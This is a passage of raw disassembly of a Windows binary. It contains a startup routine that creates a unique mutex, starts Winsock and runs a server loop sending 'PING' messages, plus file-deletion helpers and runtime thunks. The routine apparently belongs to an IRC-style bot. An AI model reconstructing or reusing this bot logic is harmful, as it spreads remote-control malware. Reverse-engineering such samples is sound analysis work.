		mov	eax, 180h
		sub	eax, [ebp+var_18B4]
		dec	eax
		mov	[ebp+var_17B0],	eax


loc_4165BF:				; CODE XREF: sub_415F69+6C7j
		mov	eax, [ebp+var_17B0]
		cmp	eax, [ebp+var_17AC]
		jnb	short loc_416632
		push	180h
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_17B0]
		push	eax
		lea	eax, [ebp+var_17A8]
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		lea	eax, [ebp+var_17A8]
		push	eax
		push	offset dword_418B64
		lea	eax, [ebp+var_140C]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		push	3E8h
		call	dword_41709C	; Sleep
		mov	eax, [ebp+var_1614]
		cmp	dword ptr [eax+4], 0
		jz	short loc_41661F
		jmp	short loc_416653
; ---------------------------------------------------------------------------


loc_41661F:				; CODE XREF: sub_415F69+6B2j
		mov	eax, [ebp+var_17B0]
		add	eax, 17Fh
		mov	[ebp+var_17B0],	eax
		jmp	short loc_4165BF
; ---------------------------------------------------------------------------


loc_416632:				; CODE XREF: sub_415F69+35Bj
					; sub_415F69+42Aj ...
		jmp	loc_4161E6
; ---------------------------------------------------------------------------


loc_416637:				; CODE XREF: sub_415F69+2A9j
					; sub_415F69:loc_416229j ...
		push	[ebp+var_104C]
		call	dword_417230	; closesocket
		push	[ebp+var_1614]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	short loc_416657
; ---------------------------------------------------------------------------


loc_416653:				; CODE XREF: sub_415F69+6B4j
		jmp	short loc_416637
; ---------------------------------------------------------------------------


loc_416655:				; CODE XREF: sub_415F69+63Fj
		jmp	short loc_416637
; ---------------------------------------------------------------------------


loc_416657:				; CODE XREF: sub_415F69+70j
					; sub_415F69+BDj ...
		pop	edi
		leave
		retn	4
sub_415F69	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41665C	proc near		; CODE XREF: sub_40A9CF+9FEp

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	3ABh
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_41667B
		jmp	locret_41670F
; ---------------------------------------------------------------------------


loc_41667B:				; CODE XREF: sub_41665C+18j
		cmp	[ebp+arg_4], 0
		jz	short loc_41668F
		push	[ebp+arg_4]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_8], eax
		jmp	short loc_416696
; ---------------------------------------------------------------------------


loc_41668F:				; CODE XREF: sub_41665C+23j
		mov	[ebp+var_8], 3


loc_416696:				; CODE XREF: sub_41665C+31j
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+var_8]
		mov	[eax+4], ecx
		cmp	[ebp+arg_8], 0
		jz	short loc_4166AD
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_C], eax
		jmp	short loc_4166B4
; ---------------------------------------------------------------------------


loc_4166AD:				; CODE XREF: sub_41665C+47j
		mov	[ebp+var_C], offset byte_41DE00


loc_4166B4:				; CODE XREF: sub_41665C+4Fj
		push	200h
		push	[ebp+var_C]
		mov	eax, [ebp+var_4]
		add	eax, 8
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		push	1A3h
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 208h
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+4]
		push	offset dword_41D9E8
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax+18Bh]
		neg	eax
		sbb	eax, eax
		inc	eax
		push	eax
		push	[ebp+var_4]
		push	offset sub_415F69
		call	sub_4095A4
		add	esp, 14h

locret_41670F:				; CODE XREF: sub_41665C+1Aj
		leave
		retn
sub_41665C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416711	proc near		; CODE XREF: sub_4167B9+6p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	offset aRb	; "rb"
		push	[ebp+arg_0]
		call	sub_416B88	; fopen
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_41673B
		push	[ebp+var_4]
		call	sub_416B82	; fclose
		pop	ecx
		push	1
		pop	eax
		jmp	short locret_41673D
; ---------------------------------------------------------------------------


loc_41673B:				; CODE XREF: sub_416711+1Aj
		xor	eax, eax

locret_41673D:				; CODE XREF: sub_416711+28j
		leave
		retn
sub_416711	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41673F	proc near		; CODE XREF: sub_40A9CF+C23p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	offset aRb	; "rb"
		push	[ebp+arg_0]
		call	sub_416B88	; fopen
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_41679C
		push	2
		push	0
		push	[ebp+var_4]
		call	sub_416B96	; fseek
		add	esp, 0Ch
		push	[ebp+var_4]
		call	sub_416B76	; ftell
		pop	ecx
		mov	[ebp+var_8], eax
		push	0
		push	0
		push	[ebp+var_4]
		call	sub_416B96	; fseek
		add	esp, 0Ch
		push	[ebp+var_4]
		call	sub_416B82	; fclose
		pop	ecx
		mov	eax, [ebp+var_8]
		inc	eax
		neg	eax
		sbb	eax, eax
		and	eax, [ebp+var_8]
		jmp	short locret_41679E
; ---------------------------------------------------------------------------


loc_41679C:				; CODE XREF: sub_41673F+1Bj
		xor	eax, eax

locret_41679E:				; CODE XREF: sub_41673F+5Bj
		leave
		retn
sub_41673F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4167A0	proc near		; CODE XREF: sub_4167B9+13p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	[ebp+arg_0]
		call	dword_4170AC	; DeleteFileA
		test	eax, eax
		jz	short loc_4167B5
		push	1
		pop	eax
		jmp	short loc_4167B7
; ---------------------------------------------------------------------------


loc_4167B5:				; CODE XREF: sub_4167A0+Ej
		xor	eax, eax


loc_4167B7:				; CODE XREF: sub_4167A0+13j
		pop	ebp
		retn
sub_4167A0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4167B9	proc near		; CODE XREF: sub_402698+1D9p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	[ebp+arg_0]
		call	sub_416711
		pop	ecx
		test	eax, eax
		jz	short loc_4167D9
		push	[ebp+arg_0]
		call	sub_4167A0
		pop	ecx
		neg	eax
		sbb	eax, eax
		inc	eax
		jmp	short loc_4167DB
; ---------------------------------------------------------------------------


loc_4167D9:				; CODE XREF: sub_4167B9+Ej
		xor	eax, eax


loc_4167DB:				; CODE XREF: sub_4167B9+1Ej
		pop	ebp
		retn
sub_4167B9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4167DD	proc near		; CODE XREF: sub_40A9CF+8E9p

var_4		= dword	ptr -4
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax]
		call	sub_40ED38
		pop	ecx
		mov	[ebp+var_4], eax
		leave
		retn
sub_4167DD	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_417298
		push	offset sub_416DBA
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		mov	eax, 12DCh
		call	sub_416BC0
		push	ebx
		push	esi
		push	edi
		mov	[ebp-18h], esp
		push	2
		call	dword_4170F4	; SetErrorMode
		and	dword ptr [ebp-4], 0
		push	dword_41DA2C
		push	dword_41DA28
		push	3B7h
		push	dword_41DA24
		push	0
		push	dword_41DA20
		push	offset a08xX08x3x08x08 ; "%08x%x%08x%3x%08x%08x"
		lea	eax, [ebp-115Ch]
		push	eax
		call	sub_416B5E	; sprintf
		add	esp, 20h
		and	dword ptr [ebp-1128h], 0
		jmp	short loc_416875
; ---------------------------------------------------------------------------


loc_416868:				; CODE XREF: MEW:loc_4168BAj
		mov	eax, [ebp-1128h]
		inc	eax
		mov	[ebp-1128h], eax


loc_416875:				; CODE XREF: MEW:00416866j
		cmp	dword ptr [ebp-1128h], 0Ah
		jnz	short loc_416883
		call	sub_407148


loc_416883:				; CODE XREF: MEW:0041687Cj
		push	3E8h
		call	dword_41709C	; Sleep
		lea	eax, [ebp-115Ch]
		push	eax
		push	0
		push	0
		call	dword_4170F8	; CreateMutexA
		mov	[ebp-12F0h], eax
		cmp	dword ptr [ebp-12F0h], 0
		jz	short loc_4168BA
		call	dword_417064	; RtlGetLastWin32Error
		test	eax, eax
		jnz	short loc_4168BA
		jmp	short loc_4168BC
; ---------------------------------------------------------------------------


loc_4168BA:				; CODE XREF: MEW:004168ACj
					; MEW:004168B6j
		jmp	short loc_416868
; ---------------------------------------------------------------------------


loc_4168BC:				; CODE XREF: MEW:004168B8j
		call	sub_403BD3
		call	sub_405FA3
		call	sub_40938F
		call	sub_412FC6
		call	sub_4102AE
		call	sub_40E979
		push	10h
		push	offset dword_41DA20
		call	sub_41055F
		pop	ecx
		pop	ecx
		push	10h
		push	offset dword_41DA20
		call	sub_40ECEB
		pop	ecx
		pop	ecx
		push	10h
		push	offset dword_41DA20
		call	sub_40ED6E
		pop	ecx
		pop	ecx
		call	sub_410422
		mov	dword_41EC00, eax
		call	sub_410422
		mov	dword_41EC04, eax
		call	sub_410422
		mov	dword_41EC08, eax
		call	sub_410422
		mov	dword_41EC0C, eax
		push	104h
		lea	eax, [ebp-1120h]
		push	eax
		push	0
		call	dword_41708C	; GetModuleHandleA
		push	eax
		call	dword_417090	; GetModuleFileNameA
		test	eax, eax
		jnz	short loc_416961
		push	offset byte_41DE00
		push	offset dword_41EAFC
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		jmp	loc_4169E1
; ---------------------------------------------------------------------------


loc_416961:				; CODE XREF: MEW:00416949j
		lea	eax, [ebp-1120h]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp-12F4h], eax
		jmp	short loc_416983
; ---------------------------------------------------------------------------


loc_416976:				; CODE XREF: MEW:loc_4169DFj
		mov	eax, [ebp-12F4h]
		dec	eax
		mov	[ebp-12F4h], eax


loc_416983:				; CODE XREF: MEW:00416974j
		cmp	dword ptr [ebp-12F4h], 0
		jnz	short loc_41699F
		push	offset byte_41DE00
		push	offset dword_41EAFC
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		jmp	short loc_4169E1
; ---------------------------------------------------------------------------


loc_41699F:				; CODE XREF: MEW:0041698Aj
		mov	eax, [ebp-12F4h]
		movsx	eax, byte ptr [ebp+eax-1121h]
		cmp	eax, 5Ch
		jnz	short loc_4169DF
		mov	eax, [ebp-12F4h]
		lea	eax, [ebp+eax-1120h]
		push	eax
		push	offset dword_41EAFC
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		push	offset dword_41EAFC
		push	offset dword_41EC10
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		jmp	short loc_4169E1
; ---------------------------------------------------------------------------


loc_4169DF:				; CODE XREF: MEW:004169B0j
		jmp	short loc_416976
; ---------------------------------------------------------------------------


loc_4169E1:				; CODE XREF: MEW:0041695Cj
					; MEW:0041699Dj ...
		call	sub_406E8E
		lea	eax, [ebp-12ECh]
		push	eax
		push	202h
		call	dword_417264	; WSAStartup


loc_4169F8:				; CODE XREF: MEW:00416A43j
					; MEW:00416AA7j
		push	0
		push	0
		push	0
		call	sub_40D366
		add	esp, 0Ch
		call	sub_409226
		and	dword ptr [ebp-1124h], 0
		and	dword ptr [ebp-101Ch], 0


loc_416A19:				; CODE XREF: MEW:00416AE2j
		mov	dword ptr [ebp-4], 1


loc_416A20:				; CODE XREF: MEW:loc_416A6Fj
					; MEW:00416AC0j
		push	0EA60h
		call	sub_40CF25
		push	eax
		call	sub_40546E
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_416A71
		cmp	dword ptr [ebp-101Ch], 19h
		jnz	short loc_416A45
		and	dword ptr [ebp-4], 0
		jmp	short loc_4169F8
; ---------------------------------------------------------------------------


loc_416A45:				; CODE XREF: MEW:00416A3Dj
		cmp	dword ptr [ebp-101Ch], 14h
		jnz	short loc_416A62
		call	sub_410422
		push	eax
		push	offset aPing08x	; "PING	:%08X"
		call	sub_40D6CB
		pop	ecx
		pop	ecx
		jmp	short loc_416A6F
; ---------------------------------------------------------------------------


loc_416A62:				; CODE XREF: MEW:00416A4Cj
		mov	eax, [ebp-101Ch]
		inc	eax
		mov	[ebp-101Ch], eax


loc_416A6F:				; CODE XREF: MEW:00416A60j
		jmp	short loc_416A20
; ---------------------------------------------------------------------------


loc_416A71:				; CODE XREF: MEW:00416A34j
		push	1000h
		lea	eax, [ebp-1018h]
		push	eax
		call	sub_40CF25
		push	eax
		call	sub_4053DC
		add	esp, 0Ch
		mov	[ebp-1124h], eax
		cmp	dword ptr [ebp-1124h], 0
		jz	short loc_416AA3
		cmp	dword ptr [ebp-1124h], 0FFFFFFFFh
		jnz	short loc_416AAC


loc_416AA3:				; CODE XREF: MEW:00416A98j
		and	dword ptr [ebp-4], 0
		jmp	loc_4169F8
; ---------------------------------------------------------------------------


loc_416AAC:				; CODE XREF: MEW:00416AA1j
		and	dword ptr [ebp-101Ch], 0
		lea	eax, [ebp-1018h]
		push	eax
		call	sub_40E943
		pop	ecx
		jmp	loc_416A20
; ---------------------------------------------------------------------------


loc_416AC5:				; DATA XREF: MEW:004172A8o
		push	offset aLoop	; "loop"
		push	offset aMain	; "main"
		push	dword ptr [ebp-14h]
		call	sub_40332B
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_416ADB:				; DATA XREF: MEW:004172ACo
		mov	esp, [ebp-18h]
		and	dword ptr [ebp-4], 0
		jmp	loc_416A19
; ---------------------------------------------------------------------------
		push	offset aEntry	; "entry"
		push	offset aMain	; "main"
		push	dword ptr [ebp-14h]
		call	sub_40332B
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		or	dword ptr [ebp-4], 0FFFFFFFFh
		cmp	dword_41DE08, 0
		jz	short loc_416B1E
		push	offset dword_41DD20
		push	offset dword_41DA80
		call	sub_40D4AB
		pop	ecx
		pop	ecx


loc_416B1E:				; CODE XREF: MEW:00416B0Bj
		call	dword_417254	; WSACleanup
		push	0
		call	sub_416BFC	; exit
		mov	ecx, [ebp-10h]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416B3A	proc near		; CODE XREF: sub_401000+3Cp
					; sub_4020C2+62p ...
		jmp	dword_41712C
sub_416B3A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416B40	proc near		; CODE XREF: sub_401146+7Ap
					; sub_4017AA+Ep ...
		jmp	dword_4171BC
sub_416B40	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416B46	proc near		; CODE XREF: sub_401244+85p
					; sub_4017AA+22p ...
		jmp	dword_4171B8
sub_416B46	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416B4C	proc near		; CODE XREF: sub_401244+25p
					; sub_401244+4DEp ...
		jmp	dword_4171B4
sub_416B4C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416B52	proc near		; CODE XREF: sub_401244+1Ap
					; sub_401981+18p ...
		jmp	dword_4171B0
sub_416B52	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416B58	proc near		; CODE XREF: sub_4017AA+5Ap
					; sub_4024F3+88p ...
		jmp	dword_4171AC
sub_416B58	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416B5E	proc near		; CODE XREF: sub_4018AF+9Fp
					; sub_4055E5+231p ...
		jmp	dword_4171A8
sub_416B5E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416B64	proc near		; CODE XREF: sub_4018AF+3Bp
					; sub_4018AF+5Dp ...
		jmp	dword_4171A4
sub_416B64	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416B6A	proc near		; CODE XREF: sub_401981+145p
					; sub_401981+158p ...
		jmp	dword_4171A0
sub_416B6A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416B70	proc near		; CODE XREF: sub_401D6E+A5p
					; sub_403260+4Cp ...
		jmp	dword_41719C
sub_416B70	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416B76	proc near		; CODE XREF: sub_401E38+1ABp
					; sub_4020C2+1A6p ...
		jmp	dword_417198
sub_416B76	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416B7C	proc near		; CODE XREF: sub_401E38+179p
					; sub_402698+24Cp ...
		jmp	dword_417194
sub_416B7C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416B82	proc near		; CODE XREF: sub_401E38+9Dp
					; sub_401E38+262p ...
		jmp	dword_417190
sub_416B82	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416B88	proc near		; CODE XREF: sub_401E38+42p
					; sub_4020C2+159p ...
		jmp	dword_41718C
sub_416B88	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416B90	proc near		; CODE XREF: sub_4020C2+2C1p
					; sub_41102F+94p ...
		jmp	dword_417188
sub_416B90	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416B96	proc near		; CODE XREF: sub_4020C2+198p
					; sub_4020C2+1BCp ...
		jmp	dword_417184
sub_416B96	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416B9C	proc near		; CODE XREF: sub_4024F3+26p
					; sub_4024F3+46p ...
		jmp	dword_417180
sub_416B9C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416BA2	proc near		; CODE XREF: sub_402698+160p
					; sub_40CA29+F6p ...
		jmp	dword_41717C
sub_416BA2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416BA8	proc near		; CODE XREF: sub_402698+CCp
					; sub_402698+110p ...
		jmp	dword_417178
sub_416BA8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416BAE	proc near		; CODE XREF: sub_402698+4Bp
					; sub_4083AD+3DFp ...
		jmp	dword_417174
sub_416BAE	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_416BC0	proc near		; CODE XREF: sub_403DF3+8p
					; sub_40546E+8p ...

arg_0		= byte ptr  4

		push	ecx
		cmp	eax, 1000h
		lea	ecx, [esp+4+arg_0]
		jb	short loc_416BE0


loc_416BCC:				; CODE XREF: sub_416BC0+1Ej
		sub	ecx, 1000h
		sub	eax, 1000h
		test	[ecx], eax
		cmp	eax, 1000h
		jnb	short loc_416BCC


loc_416BE0:				; CODE XREF: sub_416BC0+Aj
		sub	ecx, eax
		mov	eax, esp
		test	[ecx], eax
		mov	esp, ecx
		mov	ecx, [eax]
		mov	eax, [eax+4]
		push	eax
		retn
sub_416BC0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416BF0	proc near		; CODE XREF: sub_4041B7+Dp
					; sub_4041B7+28p ...
		jmp	dword_417170
sub_416BF0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416BF6	proc near		; CODE XREF: sub_406041+67p
		jmp	dword_41716C
sub_416BF6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416BFC	proc near		; CODE XREF: sub_406E8E+2B3p
					; MEW:00416B26p
		jmp	dword_417168
sub_416BFC	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_416C10	proc near		; CODE XREF: sub_40821B+61p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	eax, [esp+4+arg_C]
		or	eax, eax
		jnz	short loc_416C31
		mov	ecx, [esp+4+arg_8]
		mov	eax, [esp+4+arg_4]
		xor	edx, edx
		div	ecx
		mov	eax, [esp+4+arg_0]
		div	ecx
		mov	eax, edx
		xor	edx, edx
		jmp	short loc_416C81
; ---------------------------------------------------------------------------


loc_416C31:				; CODE XREF: sub_416C10+7j
		mov	ecx, eax
		mov	ebx, [esp+4+arg_8]
		mov	edx, [esp+4+arg_4]
		mov	eax, [esp+4+arg_0]


loc_416C3F:				; CODE XREF: sub_416C10+39j
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_416C3F
		div	ebx
		mov	ecx, eax
		mul	[esp+4+arg_C]
		xchg	eax, ecx
		mul	[esp+4+arg_8]
		add	edx, ecx
		jb	short loc_416C6A
		cmp	edx, [esp+4+arg_4]
		ja	short loc_416C6A
		jb	short loc_416C72
		cmp	eax, [esp+4+arg_0]
		jbe	short loc_416C72


loc_416C6A:				; CODE XREF: sub_416C10+4Aj
					; sub_416C10+50j
		sub	eax, [esp+4+arg_8]
		sbb	edx, [esp+4+arg_C]


loc_416C72:				; CODE XREF: sub_416C10+52j
					; sub_416C10+58j
		sub	eax, [esp+4+arg_0]
		sbb	edx, [esp+4+arg_4]
		neg	edx
		neg	eax
		sbb	edx, 0


loc_416C81:				; CODE XREF: sub_416C10+1Fj
		pop	ebx
		retn	10h
sub_416C10	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_416C90	proc near		; CODE XREF: sub_40821B+30p
					; sub_40821B+3Bp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		mov	eax, [esp+8+arg_C]
		or	eax, eax
		jnz	short loc_416CB2
		mov	ecx, [esp+8+arg_8]
		mov	eax, [esp+8+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+8+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_416CF3
; ---------------------------------------------------------------------------


loc_416CB2:				; CODE XREF: sub_416C90+8j
		mov	ecx, eax
		mov	ebx, [esp+8+arg_8]
		mov	edx, [esp+8+arg_4]
		mov	eax, [esp+8+arg_0]


loc_416CC0:				; CODE XREF: sub_416C90+3Aj
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_416CC0
		div	ebx
		mov	esi, eax
		mul	[esp+8+arg_C]
		mov	ecx, eax
		mov	eax, [esp+8+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_416CEE
		cmp	edx, [esp+8+arg_4]
		ja	short loc_416CEE
		jb	short loc_416CEF
		cmp	eax, [esp+8+arg_0]
		jbe	short loc_416CEF


loc_416CEE:				; CODE XREF: sub_416C90+4Ej
					; sub_416C90+54j
		dec	esi


loc_416CEF:				; CODE XREF: sub_416C90+56j
					; sub_416C90+5Cj
		xor	edx, edx
		mov	eax, esi


loc_416CF3:				; CODE XREF: sub_416C90+20j
		pop	esi
		pop	ebx
		retn	10h
sub_416C90	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416CF8	proc near		; CODE XREF: sub_4088FC+1FAp
					; sub_409226+5Cp ...
		jmp	dword_417164
sub_416CF8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416CFE	proc near		; CODE XREF: sub_409226+55p
					; sub_4092A4+55p ...
		jmp	dword_417160
sub_416CFE	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_416D10	proc near		; CODE XREF: sub_409226+42p
					; sub_4092A4+42p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	edi
		push	esi
		push	ebx
		xor	edi, edi
		mov	eax, [esp+0Ch+arg_4]
		or	eax, eax
		jge	short loc_416D31
		inc	edi
		mov	edx, [esp+0Ch+arg_0]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_4], eax
		mov	[esp+0Ch+arg_0], edx


loc_416D31:				; CODE XREF: sub_416D10+Bj
		mov	eax, [esp+0Ch+arg_C]
		or	eax, eax
		jge	short loc_416D4D
		inc	edi
		mov	edx, [esp+0Ch+arg_8]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_C], eax
		mov	[esp+0Ch+arg_8], edx


loc_416D4D:				; CODE XREF: sub_416D10+27j
		or	eax, eax
		jnz	short loc_416D69
		mov	ecx, [esp+0Ch+arg_8]
		mov	eax, [esp+0Ch+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+0Ch+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_416DAA
; ---------------------------------------------------------------------------


loc_416D69:				; CODE XREF: sub_416D10+3Fj
		mov	ebx, eax
		mov	ecx, [esp+0Ch+arg_8]
		mov	edx, [esp+0Ch+arg_4]
		mov	eax, [esp+0Ch+arg_0]


loc_416D77:				; CODE XREF: sub_416D10+71j
		shr	ebx, 1
		rcr	ecx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ebx, ebx
		jnz	short loc_416D77
		div	ecx
		mov	esi, eax
		mul	[esp+0Ch+arg_C]
		mov	ecx, eax
		mov	eax, [esp+0Ch+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_416DA5
		cmp	edx, [esp+0Ch+arg_4]
		ja	short loc_416DA5
		jb	short loc_416DA6
		cmp	eax, [esp+0Ch+arg_0]
		jbe	short loc_416DA6


loc_416DA5:				; CODE XREF: sub_416D10+85j
					; sub_416D10+8Bj
		dec	esi


loc_416DA6:				; CODE XREF: sub_416D10+8Dj
					; sub_416D10+93j
		xor	edx, edx
		mov	eax, esi


loc_416DAA:				; CODE XREF: sub_416D10+57j
		dec	edi
		jnz	short loc_416DB4
		neg	edx
		neg	eax
		sbb	edx, 0


loc_416DB4:				; CODE XREF: sub_416D10+9Bj
		pop	ebx
		pop	esi
		pop	edi
		retn	10h
sub_416D10	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416DBA	proc near		; DATA XREF: sub_4093B6+Ao
					; sub_4094E6+Ao ...
		jmp	dword_41715C
sub_416DBA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416DC0	proc near		; CODE XREF: sub_409479+41p
					; sub_4095A4+162p
		jmp	dword_417158
sub_416DC0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416DC6	proc near		; CODE XREF: sub_4095A4+11Bp
		jmp	dword_417154
sub_416DC6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416DCC	proc near		; CODE XREF: sub_409CB1+105p
					; sub_409CB1+114p ...
		jmp	dword_417150
sub_416DCC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416DD2	proc near		; CODE XREF: sub_409CB1+42p
					; sub_409CB1+88p
		jmp	dword_41714C
sub_416DD2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416DD8	proc near		; CODE XREF: sub_409CB1+1Ap
					; sub_409DD0+13Bp
		jmp	dword_417148
sub_416DD8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416DDE	proc near		; CODE XREF: sub_40A2D2+13Ep
					; sub_40A9CF+1F6p ...
		jmp	dword_417144
sub_416DDE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416DE4	proc near		; CODE XREF: sub_40A8AD+90p
		jmp	dword_417140
sub_416DE4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416DEA	proc near		; CODE XREF: sub_40A9CF+185Cp
		jmp	dword_41713C
sub_416DEA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416DF0	proc near		; CODE XREF: sub_40D420+47p
					; sub_40D4AB+50p ...
		jmp	dword_417138
sub_416DF0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416DF6	proc near		; CODE XREF: sub_40EF59+6Bp
					; sub_40EF59+C1p
		jmp	dword_417134
sub_416DF6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416DFC	proc near		; CODE XREF: sub_40F040+52p
					; sub_40F040+A8p
		jmp	dword_417130
sub_416DFC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416E02	proc near		; CODE XREF: sub_40F040+1Ep
		jmp	dword_417128
sub_416E02	endp

; ---------------------------------------------------------------------------


loc_416E08:				; CODE XREF: MEW:00416FE2j
		jmp	dword_417124
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_416E10	proc near		; CODE XREF: sub_414EF4+5p
		push	0FFFFFFFFh
		push	eax
		mov	eax, large fs:0
		push	eax
		mov	eax, [esp+0Ch]
		mov	large fs:0, esp
		mov	[esp+0Ch], ebp
		lea	ebp, [esp+0Ch]
		push	eax
		retn
